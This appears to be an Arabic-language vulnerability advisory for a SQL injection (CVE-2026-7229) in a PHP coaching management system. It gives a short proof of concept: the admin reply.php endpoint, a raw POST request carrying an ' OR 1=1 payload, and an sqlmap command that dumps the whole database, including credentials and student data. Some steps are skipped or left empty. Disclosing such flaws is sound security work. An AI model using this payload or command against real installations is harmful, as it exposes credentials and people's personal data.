CVE-2026-7229-SQLI

نظام إدارة التدريب في PHP https://code-projects.org/coaching-management-system-in-php-with-source-code/

الإصدار

غير معروف (تم اختباره على أحدث إصدار متاح اعتبارًا من أبريل 2026)

إثبات المفهوم (ملخص)

1. يقدم الطالب شكوى

2. يفتح المسؤول الشكوى ويصل إلى ميزة الرد

POST /cims/modules/admin/reply.php?complaintid=18 HTTP/1.1 Host: 192.168.0.9 Content-Type: application/x-www-form-urlencoded

complaintreply=' OR 1=1-- -&submit=submit

5. اعتراض الطلب عبر Burp Suite

6. حقن الحمولة:

   root@kitploit:~

   '
   

7. تأكيد الحقن:

8. تفريغ قاعدة البيانات باستخدام:

   root@kitploit:~

   sqlmap -r sqli.txt --dump
   

تم تأكيد الحقن عبر الاستناد إلى الأخطاء، والاستناد إلى القيم المنطقية، والاستغلال الآلي باستخدام sqlmap

التأثير

• إمكانية استخراج قاعدة البيانات بالكامل
• كشف بيانات الاعتماد المخزنة كنص عادي
• اختراق كامل لبيانات التطبيق
• تجاوز المصادقة وتصعيد الامتيازات عبر استخراج بيانات الاعتماد
• تم تحقيق تفريغ كامل لقاعدة البيانات بما في ذلك جدول المستخدمين (بيانات الاعتماد)، وبيانات التعريف الشخصية للطلاب، وسجلات المعلمين، وسجل الشكاوى.

الخطورة: حرجة